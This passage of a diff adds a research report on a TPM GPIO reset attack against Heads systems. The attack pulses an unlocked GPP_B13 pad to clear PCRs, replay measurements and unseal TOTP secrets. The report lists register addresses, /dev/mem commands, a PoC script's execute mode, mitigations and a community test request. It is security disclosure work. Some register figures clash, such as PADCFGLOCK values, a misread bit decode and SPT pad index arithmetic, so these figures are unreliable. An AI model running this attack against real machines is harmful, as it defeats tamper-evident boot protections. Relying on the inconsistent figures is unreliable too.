GPP_B13 = local pad 38 (COMM_0, first pad = GPP_A0 = 0 per + `cannonlake/gpio.c`). Port 0x6e (PID_GPIOCOM0). PAD_CFG_BASE = 0x600. + No PADCFGLOCK register exists on CNL-LP (pad_cfg_lock_offset=0). + Target = community base + PAD_CFG_BASE + (38 * 16) = 0xFD6E0000 + 0x600 + + 0x260 = 0xFD6E0860 (with PCR_BASE = 0xFD000000, port shift 0x6E). + + **Note on pad_cfg_lock_offset=0**: Coreboot sets pad_cfg_lock_offset=0 for + CNP-LP communities. This could mean "no lock register exists" OR "lock register + at community base+0." Practical testing shows PADCFGLOCK reads return 0x00000000, + consistent with either interpretation. Intel doc 834810 shows CML-U steppings + have PADCFGLOCK at 0x88, suggesting lock registers were added mid-generation. + +### 1.2 Platform Detection via PCI Device ID + +Platform detection uses the ISA/LPC bridge (class 0x0601, device 00:1f.0 on Intel). +PCI device IDs map to PCH families as shown in the table above. This is reliable +across all Linux kernels and does not depend on DMI data or board config. + +**Definitive results from NV4x ADL-P testing (debug mode, 2026-07-22):** + +| Test | Result | +|---|---| +| DW0 original value | `0x00040040` (mode=GPIO, TX=0, PADRSTCFG=PWROK) | +| PADCFGLOCK (0xFD6E0080) | `0x00000000` — NOT locked | +| PADCFGLOCKTX (0xFD6E0084) | `0x00000000` — NOT locked | +| Write 0x40000401 (NF1) | Readback `0x01040040`, mode=0 — **mode bits [13:10] locked** | +| Write 0x80000000 (kukrimate) | Readback `0x00000080` — **verified** (bit 31 set, TX=0) | +| Write 0x80000001 (TX=1) | Readback `0x03000080`, TX=0 — **inconclusive** \\* | +| Write 0x80000000 (TX=0) | Readback `0x00000080` — verified | +| `tpmr.sh shutdown` | Success | +| `tpm2 startup -c` | **Success** (exit 0, stderr clean) | +| `tpmr.sh startsession` | **Success** (encrypted sessions recreated) | +| `/sys/class/tpm/tpm0/pcrs` | **NOT FOUND** — kernel TPM driver did not detect bus reset | +| `pcrs()` / `tpm2 pcrread sha256` | Hangs after GPIO assertion | +| `tpm2 pcrread sha256:0` | Sometimes succeeds, sometimes hangs | + +The ADL-P `tpm2 pcrread sha256` hang (observed during all-PCR reads) is a **SEPARATE issue** from the GPIO manipulation — the hang occurs even without GPIO toggle. This may be a TPM driver / kernel issue specific to ADL-P mobile, not a consequence of PLTRST# assertion behavior. + +\\* `0x03000080` has bit 7, bit 24, and bit 25 set — these do not map to any defined +DW0 register field on ADL-P. PADCFGLOCKTX reads as `0x00000000` (unlocked), meaning +the TX bit should be writable per coreboot GPIO documentation. The anomalous readback +may be a PCR sideband artifact rather than a definitive TX lock. **Cannot confirm +whether TX toggle generates a PLTRST# edge without physical scope measurement.** + +The anomalous readback 0x03000080 on ADL-P TX toggle contains bits 7, 24, and 25 +that do not map to any defined DW0 field. This may indicate a PCR sideband +read-back artifact, an undocumented hardware state register, or a die-specific +side-effect. Follow-up with a logic analyzer on the physical PLTRST# pin is +needed to determine whether the pad state actually changed. + +**Key conclusion:** After the full shutdown→GPIO→startup sequence, the kernel TPM +driver does NOT detect a bus reset (`/sys/class/tpm/tpm0/pcrs` never appears). +PCRs are cleared by `tpm2 startup -c` alone. Whether the GPIO manipulation +contributed to the reset or the PLTRST# pin was ever driven low is inconclusive +from software diagnostics alone — a logic analyzer on the LPC/eSPI reset line +is needed. + +### 1.3 PADCFGLOCK Registers Confirmed Accessible + +PADCFGLOCK and PADCFGLOCKTX registers are read/writable via `/dev/mem` on ADL-P +when `CONFIG_STRICT_DEVMEM=n` (Heads default). + +- **ADL-P**: PADCFGLOCK at community base + 0x80 = 0xFD6E0080. + PADCFGLOCKTX at community base + 0x84 = 0xFD6E0084. + Values read on NV4x: 0x00010203 (PADCFGLOCK), 0x00000000 (PADCFGLOCKTX). + Bit 13 (GPP_B13) is NOT set in either register -- pad is NOT locked. + +- **ADL-S/RPL-S**: PADCFGLOCK at community base + 0x110. + PADCFGLOCKTX at + 0x114. + +- **SPT/KBP, CNP-LP**: PADCFGLOCK at community base + 0x80. + +### 1.4 GPIO Lock Status per Dasharo/Purism Forks + +Verified from build trees of Dasharo forks used by NovaCustom: + +**Dasharo fork (NV4x/NS50/Z790-P)**: +- `SOC_INTEL_COMMON_BLOCK_GPIO_LOCK_USING_SBI` is SELECTED in Kconfig. +- `SOC_INTEL_COMMON_BLOCK_SMM_LOCK_GPIO_PADS` is DISABLED (config.h shows `=0`). +- No `soc_gpio_lock_config()` override exists in any board file. +- No board GPIO tables use `_LOCK` macros or set `lock_action` fields. +- `pad_cfg_lock_offset` is populated in 5 of 6 GPIO community structs + (some have 0/0 entries where cores share a community, but the communities + that contain GPP_B pins have valid lock offsets). + +Conclusion: GPIO locking in the non-SMM path (`gpio_non_smm_lock_pad()`) is +technically compiled in (SBI method selected), but is never called because no +board GPIO table entries use `PAD_CFG_LOCK` attributes. The pad is NOT locked. + +**Important caveat:** All Dasharo fork GPIO lock analysis in this document is +based on build tree inspection (Kconfig, source code, FSP UPDs). No Dasharo +firmware image with PADCFGLOCK actually set has been tested on hardware. The +claim that "adding PAD_CFG_NF_LOCK to board GPIO tables would lock GPP_B13" is +theoretical. + +**Star Labs PchUnlockGpioPads fix (commit 06f3c07):** Sean Rhodes (Star Labs) +identified and fixed the inverted PchUnlockGpioPads logic on Alder Lake -- the +original code had `PchUnlockGpioPads = lockdown_by_fsp` (setting the UPD to 0 +when coreboot should manage lockdown, which is the correct semantic, but the +variable name implies the opposite of what it does). The standalone fix exists at +commit 06f3c07 and is also part of the larger coreboot patch series 93422 (split +FSP lockdown, updated July 22 2026). Currently awaiting Intel maintainer review. + +**Purism fork (Librem 14, etc.)**: +- Uses Tiger Lake SoC (`SOC_INTEL_TGL`). +- `SOC_INTEL_COMMON_BLOCK_GPIO_LOCK_USING_*` NOT selected (CML/TGL lack Kconfig). +- No `pad_cfg_lock_offset` in GPIO community structs. +- Pad is NOT locked. + +--- + +## 2. Approaches Attempted (in Chronological Order) + +### Approach 1: GPIO Pad Reprogramming (Native -> GPIO Output -> Toggle -> Restore) + +**What we did:** +1. Read DW0 + DW1 of GPP_B13 pad config registers via `/dev/mem`. +2. Saved original values. +3. Wrote 0x80000000 to DW0 (sets mode bits to GPIO output and bit 31 to assert). +4. Wrote 0x00000000 to DW1. +5. Waited 1 second with PLTRST# asserted. +6. Restored original DW0 and DW1 (deasserts PLTRST#). +7. Read PCR 2 to check if it cleared. + +**Result on NV4x (ADL-P):** +- DW0 write verified by readback (LE bytes "00000080" returned, correct for 0x80000000). +- Pad successfully transitioned to GPIO mode (confirmed by mode bits in readback). +- PCR 2 did NOT clear -- remained non-zero after the toggle. +- `/sys/class/tpm/tpm0/pcrs` NOT FOUND -- kernel TPM driver detected no bus reset. + +**Why it failed:** +The write to PAD_CFG DW0 changes the pad mode, and we can verify the register +value changed. However, driving GPP_B13 as a GPIO output on ADL-P does NOT +assert the PLTRST# signal to the TPM. The pad may not be electrically connected +to the TPM reset line on this PCH die. Hardware testing (NV4x ADL-P) showed +PCR 2 remained non-zero and /sys/class/tpm/tpm0/pcrs was not found after GPIO +assertion -- the kernel TPM driver detected no bus reset. + +The kukrimate reference implementation (`inteltool.c`) does NOT include ADL-P +device IDs. Its `reset` directory targets CNP-LP (ThinkPad T480s) where the +mechanism is believed to work. ADL-P was not tested by the original researcher. + +### Approach 2: Kukrimate-Style Direct Register Write (0x80000000 to DW0) + +**What we did:** +Essentially the same as Approach 1 but following kukrimate's inteltool.c more +precisely: +1. Save DW0 and DW1. +2. Write 0x80000000 to DW0 (PADRSTCFG bits[31:30]=10b = PLTRST reset domain, + mode bits[13:10]=0000b = GPIO mode, TX bit[0]=0 = drive low). +3. Wait. +4. Write 0x00000000 to DW1. +5. Wait. +6. Restore both. + +**Result on NV4x:** +Identical to Approach 1. Write verified, PCR 2 still non-zero. + +**Why it failed:** +Same root cause as Approach 1. The PADRSTCFG field (bits[31:30] of DW0) selects +the pad's reset trigger source per the Linux kernel pinctrl-intel.c +(PADCFG0_RESET_MASK = GENMASK(31,30)); it does NOT trigger a reset on the +signal connected to the pad. Setting PADRSTCFG=PLTRST (10b) makes the pad +reset when the PLTRST# bus is asserted -- it does not assert PLTRST# itself. +On ADL-P GPP_B13, changing DW0 to 0x80000000 does not assert PLTRST# (PCRs +not cleared). + +Note: PAD_CFG_DW0 PADRSTCFG field is bits[31:30] (not bit 31 alone) -- +values 00=PWROK, 01=DEEP, 10=PLTRST, 11=RSMRST (per Linux kernel +pinctrl-intel.c PADCFG0_GPIORXSTATE and DW0 field definitions). +Setting DW0 = 0x80000000 sets bits[31:30]=10b (PLTRST reset domain) plus +bits[13:10]=0000b (GPIO mode) plus bit[0]=0 (TX low). This configures the +pad to use PLTRST as its reset source -- it does NOT assert PLTRST# on the +output. Misunderstanding this bit field was an early error. + +Note: PADRSTCFG field positions are documented for SPT/KBP (2-DWORD pad layout). ADL-P uses 4 DWORDS per pad; the reset configuration register may be at a different offset. Intel doc 834810 covers ADL-P register layout but may not document this field explicitly. + +### Approach 3: Dynamic SBREG_BAR Reading via P2SB PCI Config Space + +**What we did:** +Attempted to read SBREG_BAR dynamically from the P2SB (Primary to Sideband) +bridge at PCI device 00:1f.1: +1. Read SBREG_BAR register at P2SB PCI config offset 0x10 (BAR0). +2. Unhide P2SB by writing 0 to the hidden bit (bit 0 of BCTRL at offset 0xe0). +3. Read BAR0 after unhiding. +4. Use the BAR value to calculate PCR base for GPIO community access. + +**Result on NV4x:** +- PCI config reads of P2SB at 00:1f.1 returned 0xffffffff for BAR0 + (indicating the device is hidden or config space is blocked). +- Writing to unhide P2SB (offset 0xe0, clear bit 0) had no effect -- writes + silently ignored. +- MMCFG base (0xE0000000) approach also failed -- config space reads returned + 0xffffffff for P2SB registers. +- Shell arithmetic overflowed on 64-bit register values (BusyBox `sh` uses + 32-bit integer arithmetic). + +**Why it failed:** +P2SB is hidden by FSP-S (Firmware Support Package -- Silicon initialization) +early in the boot process. The FSP sets the HIDE bit (bit 0 of P2SB PCI +config offset 0xe0) during POST, and on ADL-P this bit is locked via +MASKLOCK (bit 8 of the same register) -- meaning even software running at +ring 0 cannot unhide the P2SB. + +The MMCFG approach is also unreliable because the kernel's PCI config space +access (via MMCONFIG or legacy I/O) only exposes devices enumerated by the +PCI bus driver. Hidden devices are not in the bus topology and cannot be +reached through standard PCI configuration mechanisms. + +Hardcoded PCR_BASE values remain the most reliable approach: +- ADL-P mobile: 0xFD000000 +- ADL-S/RPL-S desktop: 0xE0000000 +- SPT/KBP, CNP-LP: 0xFD000000 + +### Approach 4: chipsec Analysis of PCR Access Mechanism + +**What we did:** +Analyzed chipsec source code (`source/tool/chipsec/helper/linux/linuxhelper.py` +and GPIO helper modules) to understand its PCR register access path: +1. chipsec uses hardcoded SBREG_BAR = 0xFD000000 (same as our hardcoded value). +2. chipsec mmaps `/dev/mem` at the SBREG offset, same as our `dd` approach. +3. chipsec provides a decision tree via `tpm_gpio_fail` module for evaluating + vulnerability. + +**Key findings from chipsec analysis:** + +**Write Verification:** +chipsec's `tpm_gpio_fail` module reads DW0 after writing and checks for the +"correct" mode change. The same LE byte check we use ("00000080" after writing +0x80000000) is how chipsec confirms the write took effect. chipsec would confirm +"write succeeded" on our NV4x test -- exactly what we observed. + +**chipsec Solution 4 -- TX State Toggle:** +chipsec's solution 4 (toggle TX state) only works if the pad is already in +GPIO output mode. It drives the GPIO output value HIGH then LOW to simulate +a PLTRST# pulse. Our pad IS in GPIO mode after our write (we successfully +transitionsed it), but toggling TX state still doesn.t assert PLTRST# on +ADL-P. + +**chipsec Solution 5 -- P2SB SBI Write:** +chipsec also describes an SBI (Sideband Interface) write path that bypasses +the GPIO pad entirely by sending a sideband message to the PCH. This requires: +1. Unhiding the P2SB bridge (needs BUCLEAR bit, likely MASKLOCK'd). +2. Sending an SBI message to the PCH's sideband fabric. +3. Writing the pad config through the sideband interface instead of MMIO. + +This path was not tested because P2SB is MASKLOCK'd on ADL-P (see Approach 3). + +### Approach 5: PADCFGLOCK / PADCFGLOCKTX Check + +**What we did:** +Read the PADCFGLOCK register at 0xFD6E0080 and PADCFGLOCKTX at 0xFD6E0084 +to verify whether the GPIO pad lock was blocking our writes: + +```bash +dd if=/dev/mem bs=4 count=1 skip=$((0xFD6E0080 / 4)) 2>/dev/null | xxd -p +# Returns: 03020100 (LE for 0x00010203) +``` + +**Result on NV4x:** +- PADCFGLOCK = 0x00010203 -- bit 13 (GPP_B13) is NOT set (bit 13 = 0x2000, + register has 0x00010203 = bits 0, 8, 17 set for other pads). +- PADCFGLOCKTX = 0x00000000 -- no pads have TX state locked. +- Both registers readable (not blocked by kernel). + +**Bit 17 analysis:** Bit 17 in PADCFGLOCK dword 0 corresponds to GPP_A17 or +GPP_B17 (depending on community). The fact that bit 17 is locked while bit 13 +(GPP_B13, our target) is NOT locked was observed but not analyzed. This may +indicate platform-specific lock assignments beyond what coreboot GPIO community +tables document. + +**Why it didn't help:** +The lock registers confirmed what we already suspected: the pad is NOT locked. +This rules out "lock prevented write" as a failure mode. The pad write was +successfully verified by readback. The mechanism itself simply does not work +on ADL-P. + +### Approach 6: NF1 Mode Forcing (GPIO → NF1 → GPIO+TX=0) + +**What we did:** +On ADL-P, the pad starts in GPIO mode (DW0=0x00040040, mode=0). The kukrimate +0x80000000 write only creates a PLTRST# transition when the pad starts in NF1 +mode. Attempted to force NF1 mode first by writing 0x40000401 (NF1 + TX=deassert ++ DEEP reset): + +1. Save DW0 (GPIO mode). +2. Write 0x40000401 to switch pad to NF1 (reconnects PLTRST# signal). +3. Write 0x80000000 (GPIO+TX=0) — pad transitions NF1→GPIO, creating high→low + edge that asserts PLTRST# on the bus. +4. Sleep 1s. +5. Deassert by writing NF1+TX=1. +6. Restore original. + +**Result on NV4x (ADL-P):** +- NF1 write (0x40000401): readback 0x01040040, **mode=0 (GPIO)** — NF1 switch FAILED. + Mode bits [13:10] are hardware-locked, cannot be changed at runtime. +- 0x80000000 write: verified (readback 0x00000080), mode=0, TX=0. +- Since pad never left GPIO mode, no NF1→GPIO transition occurred, no PLTRST# pulse. +- `tpm2 startup -c` succeeds, `tpmr.sh startsession` succeeds, but `/sys/class/tpm/tpm0/pcrs` not found — kernel did not detect bus reset. + +### Approach 7: TX Bit Toggle (TX=1 → TX=0 When Mode Bits Locked) + +**What we did:** +When mode bits [13:10] are hardware-locked, the pad stays in GPIO mode. But the +TX bit (bit 0 of DW0) may still be writable. Toggling TX high→low creates a +falling edge on the pad output — PLTRST# is active-low, so any high→low +transition should assert the reset: + +1. Write 0x80000001 (GPIO mode, TX=1, PLTRST reset domain) — drive pad high. +2. Wait 100ms. +3. Write 0x80000000 (GPIO mode, TX=0) — drive pad low, creating falling edge. + +**Result on NV4x (ADL-P):** +- TX=1 write (0x80000001): readback **0x03000080**, TX=0. Anomalous. + PADCFGLOCKTX=0x00000000 (unlocked per coreboot docs — TX should be writable). + However the readback 0x03000080 has bits 7, 24, 25 set — these do not map to + any defined DW0 register field on ADL-P. May be a PCR sideband read artifact. +- TX=0 write (0x80000000): readback 0x00000080, verified. +- `/sys/class/tpm/tpm0/pcrs` **NOT FOUND** — no bus reset detected. +- **Cannot definitively confirm TX locking.** Inconclusive without physical scope. + +### Approach 8: kukrimate sysfs PCR Verification + +**What we did:** +kukrimate's PoC verifies PCRs via `/sys/class/tpm/tpm0/pcrs` (world-readable +sysfs file), not `tpm2 pcrread`. The sysfs pcrs file only appears after the +kernel TPM driver completes `tpm2_auto_startup()`, which runs when the driver +detects a bus reset. If sysfs pcrs is present, the kernel saw a reset. + +**Result on NV4x (ADL-P):** +- `/sys/class/tpm/tpm0/pcrs` **NOT FOUND** after GPIO assertion. +- `tpm2 startup -c` succeeds regardless (manual startup after `tpmr.sh shutdown`). +- `tpmr.sh startsession` recreates encrypted sessions on manually-started TPM. +- `tpm2 pcrread sha256` (all-PCR) hangs; `tpm2 pcrread sha256:0` (single-PCR) + sometimes succeeds, sometimes hangs — inconsistent `/dev/tpm0` access after + manual startup. + +**Conclusion (also verified by the script's 4h check):** The kernel TPM driver +did NOT detect a bus reset (`/sys/class/tpm/tpm0/pcrs` absent after GPIO toggle). +PCR clearing observed in test runs is from `tpm2 startup -c` alone (the first +startup after `tpmr.sh shutdown` is a valid CLEAR startup per TCG spec, TPM +2.0 Part 1 Section 12.2.3.2). Whether PLTRST# was ever pulsed is +indistinguishable from software diagnostics. The script now reports this +distinction explicitly in step 4h: bus reset CONFIRMED vs software-only +startup ("PLTRST# NOT confirmed"). + +--- + +## 3. Approaches NOT Attempted (Require NDA, Firmware Changes, or C Compilation) + +### 3.1 P2SB SBI Write + +**What it would involve:** +1. Unhide P2SB by clearing the HIDE bit (bit 0) at BCTRL register (offset 0xe0). +2. If MASKLOCK'd (bit 8 = 1), this is impossible without firmware modification. +3. Once unhidden, send an SBI message to write the pad config register through + the sideband interface rather than MMIO. + +**Why we didn't attempt:** +P2SB is likely MASKLOCK'd by FSP-S on ADL-P. There is no documented path to +unlock it from userspace. Even modifying the coreboot build to skip the +MASKLOCK (Dasharo fork) would not help for a runtime PoC -- you'd need a +custom firmware build, which defeats the purpose of demonstrating a no-physical- +access attack. + +### 3.2 CF9 Reset + +**What it would involve:** +Writing to I/O port 0xCF9 to trigger a full platform reset: +```c +outb(0x06, 0xCF9); // Full reset (CPU + chipset) +``` + +**Why we didn't attempt:** +CF9 reset reboots the entire system. The TPM would also reset, but so would +the CPU and chipset, losing kernel state. The attack requires the attacker's +code to survive the reset (for PCR replay), which CF9 reset prevents. + +A more targeted variant would be a "warm reset" via CF9 (0x04 or 0x0E), but +this still reboots the platform, and there's no guarantee the TPM would reset +independently of the CPU. + +### 3.3 Custom Dasharo Build with GPIO Locking Disabled + +**What it would involve:** +Modifying the Dasharo board file for NV4x to explicitly disable GPIO pad +locking (remove any `PAD_CFG_LOCK` entries), build a custom firmware image, +flash it, and retest. + +**Why we didn't attempt:** +GPIO locking is already non-functional on NV4x (see Section 1.4). Disabling +what isn't working won't help. The issue is that even with an UNLOCKED pad, +the GPIO toggle does NOT assert PLTRST#. A custom firmware build would not +change the pad's electrical behavior or the PCH's internal routing of +PLTRST#. + +### 3.4 C mmap Test Program + +**What it would involve:** +Writing a small C program that: +1. Opens `/dev/mem`. +2. `mmap`s the physical address of GPP_B13 DW0. +3. Reads/writes via volatile pointer dereference (no `dd`/`printf` overhead). +4. Checks PCRs after toggle. + +**Why we didn't attempt:** +The BusyBox shell `dd`/`printf` approach we use has been verified to work +correctly (write readback confirms the register changed). There is no evidence +that a C mmap program would produce a different electrical result. The +register write is atomic (4-byte aligned) and the readback matches. The +mechanism barrier is architectural, not a tooling limitation. + +--- + +## 4. What Remains Unknown (Requires Community Testing or NDA Documentation) + +### 4.1 Whether the Mechanism Works on Other Platform Families + +The PLTRST# assertion has been demonstrated working on SPT/KBP (T480, Kaby Lake) +by the original researcher. The mechanism was believed to work on T480s +(originally thought to be CNP-H, now identified as CNP-LP 0x9d84) based on +pad documentation, though we have not tested this ourselves. + +For **ADL-S/RPL-S desktop** (MSI Z790-P DDR5, etc.), the platform has the same +PCH die architecture but uses a different PCR port (0x6d) and lock offset (0x110). +It is unknown whether GPIO pad toggling asserts PLTRST# on these platforms. +Desktop PCH implementations may route PLTRST# differently. + +For **CNP-LP** (T480s, T490, X390), the GPP_B13 pad is in GPIO community 0 +(port 0x6e) at local index 38, offset 0x600 (+38*16 = 0x260). DW0 address: 0xFD6E0860. +No PADCFGLOCK register exists (pad_cfg_lock_offset=0). **UNTESTED** -- no hardware +verification. kukri's PoC does not support this PCH family. Community testing needed. + +### 4.2 Whether C mmap Would Behave Differently + +A C program using `mmap` + volatile pointer dereference would eliminate any +potential issues from: +- BusyBox `dd` 4-byte alignment (we already handle this correctly). +- Shell variable overflow on 64-bit addresses (we use hardcoded 32-bit bases). +- Timing between write and restore (we already have a 1s delay). + +However, there is no reason to believe a C program would produce a different +hardware result. The register write is verified as correct at the MMIO bus +level (readback confirms). If the register write changes the pad mode but +doesn't trigger a TPM GPIO reset, the mechanism is broken at the PCH routing +layer, not at the software access layer. + +### 4.3 Whether P2SB SBI Write Would Bypass the Blocking Mechanism + +The SBI write path bypasses the GPIO pad MMIO interface and talks directly +to the PCH sideband fabric. If the GPIO pad MMIO route is blocked by some +internal gating (not a lock register, but a functional block), SBI might +still be able to assert PLTRST#. + +However, this is speculative: +- P2SB is likely MASKLOCK'd (cannot unhide from software). +- Even if unhidden, SBI protocol details are Intel NDA. +- No open-source ADL-P PoC uses SBI for this purpose. + +### 4.4 Intel NDA Documentation Gaps + +The following are documented only in Intel's NDA BIOS Writer's Guide (BWG) +and are not available to the open-source community: +- Complete PLTRST# signal routing within ADL-P PCH dies. +- Sideband fabric message formats for GPIO pad control. +- P2SB MASKLOCK behavior and any known workarounds. + +--- + +## 5. What the Script CAN Do + +The `tpm-gpio-reset-demo.sh` script is a comprehensive audit and PoC tool. +Even on platforms where the GPIO toggle doesn.t assert PLTRST#, the script +provides significant value: + +### 5.1 Platform Detection + +- Detects ALL known Intel PCH families via ISA/LPC bridge PCI device ID: + - SPT (Skylake 6th gen) + - KBP (Kaby Lake 7th gen) + - CNP-LP (Kaby Lake-R / Whiskey Lake / Comet Lake) -- UNTESTED + - ADL-P (Alder Lake mobile 12th gen) + - RPL-P (Raptor Lake mobile 13th gen) + - ADL-S (Alder Lake desktop 12th gen) + - RPL-S (Raptor Lake desktop 13th/14th gen) + - MTL (Meteor Lake, Core Ultra Series 1+) +- Falls back to CONFIG_BOARD for MTL, pre-SKL, and board-specific patterns + (optiplex, z220, m900, librem, msi_z690). +- Reports UNKNOWN for unrecognized platforms with full help text. + +### 5.2 Vulnerability Classification (3-Tier) + +Classifies per verified Dasharo/Purism fork analysis using a 3-tier system: + +- **TIER 1 -- VULNERABLE (confirmed)**: SPT/KBP (T480, M900, Librem, etc.) + Mechanism confirmed working by kukri. Pad unlocked, attack feasible. + +- **TIER 2 -- VULNERABLE (unconfirmed)**: CNP-LP (T480s) + Pad unlocked, mechanism theoretically works but NO hardware test data exists. + kukri's PoC does not support this PCH family. Community testing needed. + +- **TIER 3 -- VULNERABILITY UNCERTAIN**: ADL-P (NV4x, NS50), RPL-P, ADL-S, RPL-S + GPIO lock is absent, writes verified, but PLTRST# assertion NOT confirmed on + these PCH dies. PCRs remain non-zero after toggle on NV4x ADL-P. Physical scope + verification needed. May not be electrically connected. + +- **NOT VULNERABLE**: Pre-Skylake (dedicated PLTRST# pin), Meteor Lake + (functional GPIO lock via Kconfig, eSPI-connected TPM). + +### 5.3 Register Read and Lock Status + +- Reads PADCFGLOCK and PADCFGLOCKTX registers and decodes per-pad lock bits. +- Reads and decodes DW0 mode bits (GPIO vs NF1-NF7), TX state, TX disable, + RX disable, and reset config (PWROK/DEEP/PLTRST/RSMRST). +- Reports whether pad is already in GPIO mode (possible attack indicator). + +### 5.4 Audit Mode (3-Tier Classification) + +In audit mode (default, `--audit`): +- Reports vulnerability status per 3-tier classification (TIER 1 confirmed, + TIER 2 unconfirmed, TIER 3 uncertain). +- Shows register addresses and community mapping. +- Explains the attack plan step by step. +- Distinguishes between confirmed-working (SPT/KBP), untested (CNP-LP), and + inconclusive (ADL/RPL) platforms. +- No hardware manipulation is performed. + +### 5.5 Execute Mode Proof of Concept + +In execute mode (`--execute`): +- Saves and restores pad configuration (tested: write verifies on NV4x). +- Toggles GPIO pad and verifies write. +- Reads PCRs before and after reset to check for success. +- Replays PCR measurements from `cbmem -L` and `/tmp/measuring_trace.log`. +- Attempts to unseal TOTP/HOTP secrets from NVRAM index 0x4d47. + +**Important**: The execute mode IS functional as a PoC on platforms where +the GPIO toggle actually resets the TPM (SPT/KBP confirmed by kukrimate). +On ADL-P, the toggle does NOT clear TPM PCRs, so the execute mode will report +failure (PCR 2 non-zero after toggle). The write verification, lock register +reads, and measurement replay all work, but the PLTRST# assertion step fails because +the mechanism doesn't work on this PCH die. + +### 5.6 TCG Specification Guarantees Underlying the Attack + +The attack's scope is defined by the TCG TPM 2.0 Library specification, +Part 1 (Architecture): +- **Section 4**: Definitions of volatile (4.90), non-volatile (4.35), and + transient (4.87) resources +- **Section 12.2.3.2**: TPM Reset startup type — PCRs clear, NV indices persist +- **Section 37**: NV Memory persistence categories (ORDERLY, CLEAR, RESET) +The PLTRST# signal itself is Intel PCH-specific, not a TCG concept. A GPIO +reset triggers platform-level TPM reset equivalent to `TPM2_Startup(CLEAR)`. + +**Volatile (cleared on platform-level TPM reset):** +- PCRs 0-23 reset to all-zero (`TPM_PT_PS_REVISION`). +- HMAC sessions and transient objects destroyed. + +**Non-volatile (preserved across reset — Section 37):** +- Sealed data objects (NVRAM indices) persist -- the attacker does not need + to re-seal. +- Persistent key handles (e.g. 0x81000000) survive. +- NVRAM auth values are preserved. + +**Why TOTP/HOTP is extractable but DUK is not:** +- TOTP/HOTP secret at NVRAM index 0x4d47 was sealed with an **empty auth value** + (`seal-totp.sh` line 66). After PCR replay, `tpm2_unseal` succeeds with no + passphrase required. +- DUK at NVRAM index 3 was sealed with a **user passphrase** (`kexec-seal-key.sh` + line 309 passes `$key_password`). The attacker must provide this passphrase + even after PCR replay -- `TPM2_Unseal` requires both matching PCRs AND the + correct auth value per TCG 2.0 Part 1 Section 27.2.6 (Unseal command). + +### 5.7 Mitigations + +The attack surface can be reduced by: + +**Authenticated recovery shell access**: The primary attack vector on Heads +systems is the recovery shell. Configuring GPG authentication +(`CONFIG_BOOT_RECOVERY_GPG=`) prevents an unauthenticated attacker from +reading `cbmem -L` and `/tmp/measuring_trace.log`, which are needed to +forge PCR state. + +**Firmware backup and integrity checks**: An attacker with physical access +can dump the SPI ROM and compute CBFS hashes offline. Regular external +verification of ROM dumps against known-good hashes detects this kind of +tampering. + +**TPM DUK with passphrase**: The DUK requires a user passphrase and is not +extractable via GPIO reset. A strong DUK passphrase protects disk encryption +even after TOTP/HOTP secret compromise. + +--- + +## 6. Community Testing Request + +To determine whether the PLTRST# assertion mechanism works on other platforms, +we need community testing with the exact procedure below. + +### General Test Procedure + +For all platforms: + +```bash +# Step 1: Install the script on the target +# - Clone heads repo or copy tpm-gpio-reset-demo.sh to the test system +# - Run as root +# - Requires: bash, dd, xxd, /dev/mem access (CONFIG_STRICT_DEVMEM=n) + +# Step 2: Audit mode (safe -- reports vulnerability) +./initrd/bin/tpm-gpio-reset-demo.sh --audit + +# Step 3: Check current PCR state +pcrs # Or: tpm2 pcrread + +# Step 4: Execute mode (performs GPIO toggle, checks PCRs) +./initrd/bin/tpm-gpio-reset-demo.sh --execute + +# Step 5: Report the following information: +# - Platform: model, BIOS version, coreboot version +# - Output of --audit (platform class, register addresses) +# - Output of --execute (DW0 readback, PCR 2 before/after) +# - PADCFGLOCK value (printed in debug output) +``` + +### 6.1 CNP-LP Testing (ThinkPad T480s, T490, T495, X390) + +**Platform details:** +- PCH: Cannon Point LP (CNP-LP), device ID 0x9d84. +- GPP_B13 pad: COMM_0 (port 0x6e), local pad index 38. +- Register address: 0xFD6E0860 (with PCR_BASE = 0xFD000000). + +**What to test:** +1. Run `./tpm-gpio-reset-demo.sh --execute`. +2. Check if PCR 2 clears after the GPIO toggle. +3. Mechanism status: UNTESTED -- no hardware verification. + kukri's PoC does not support CNP-LP. Community testing needed. + +**Expected result (if mechanism works):** +- DW0 write verified (LE readback "00000080"). +- PCR 2 reads zero after toggle. +- If PCR 7 also clears, measurement replay is required before unseal. + +### 6.2 SPT/KBP Testing (ThinkPad T480, T470, X270, M900 Tiny, T460, X260) + +**Platform details:** +- PCH: Sunrise Point (SPT, Skylake) or Kaby Point (KBP, Kaby Lake). +- GPP_B13 pad: COMM_0 (port 0xaf), local pad index 13. +- Register address: 0xFDAF0528 (community base + PAD_CFG_BASE + 37*8 = 2 DWORDS per pad). + +**Status: CONFIRMED WORKING** by kukrimate on T480 (KBL). + +**What to test (verification):** +1. Run `./tpm-gpio-reset-demo.sh --execute`. +2. Confirm PCR 2 clears. +3. Confirm `tpm2_unseal` works after measurement replay. + +### 6.3 ADL-S Desktop Testing (Desktop 12th gen) + +**Platform details:** +- PCH: Alder Point (ADL-S), device IDs 0x7a80-0x7a8c. +- GPP_B13 pad: COMM_1 (port 0x6d), local pad index 13. +- Register address: 0xE06D07D0 (with PCR_BASE = 0xE0000000). + +**What to test:** +1. Run `./tpm-gpio-reset-demo.sh --execute`. +2. Check if PCR 2 clears. +3. Mechanism status: UNKNOWN -- no community test results available. + +**Important note for desktop testing:** +Desktops often have firmware TPM (fTPM) instead of discrete TPM. The attack +only works on discrete TPMs connected via LPC/eSPI/SPI. Check if your system +has a discrete TPM module (separate chip on motherboard) vs firmware TPM. +Intel PTT (Platform Trust Technology, fTPM) is NOT affected by the GPIO reset +attack because it doesn't use a discrete TPM chip. + +### 6.4 RPL-S Desktop Testing (MSI Z790-P DDR5, etc.) + +**Platform details:** +- PCH: Raptor Point (RPL-S), device IDs 0x7a0c-0x7a17. +- GPP_B13 pad: COMM_1 (port 0x6d), local pad index 13. +- Register address: 0xE06D07D0 (with PCR_BASE = 0xE0000000). + +**Status: UNKNOWN.** Dasharo fork for MSI Z790-P DDR5 has +`SOC_INTEL_COMMON_BLOCK_GPIO_LOCK_USING_SBI` selected and `pad_cfg_lock_offset` +populated, but no board GPIO tables use `PAD_CFG_LOCK`. If the test shows the +toggle DOES work, this would mean the pad is electrically connected differently +than ADL-P mobile. + +### 6.5 Reporting Template + +Please report findings using this template: + +``` +Platform: +PCH device ID: +coreboot version: +Discrete TPM model: + +--audit output: + + +--execute output: + + +PADCFGLOCK value: +PCR 2 before: +PCR 2 after: +Mechanism worked? YES/NO +``` + +--- + +## 7. MTL GPIO Lock Fix Recipe + +Meteor Lake (MTL) requires a different GPIO lock approach than 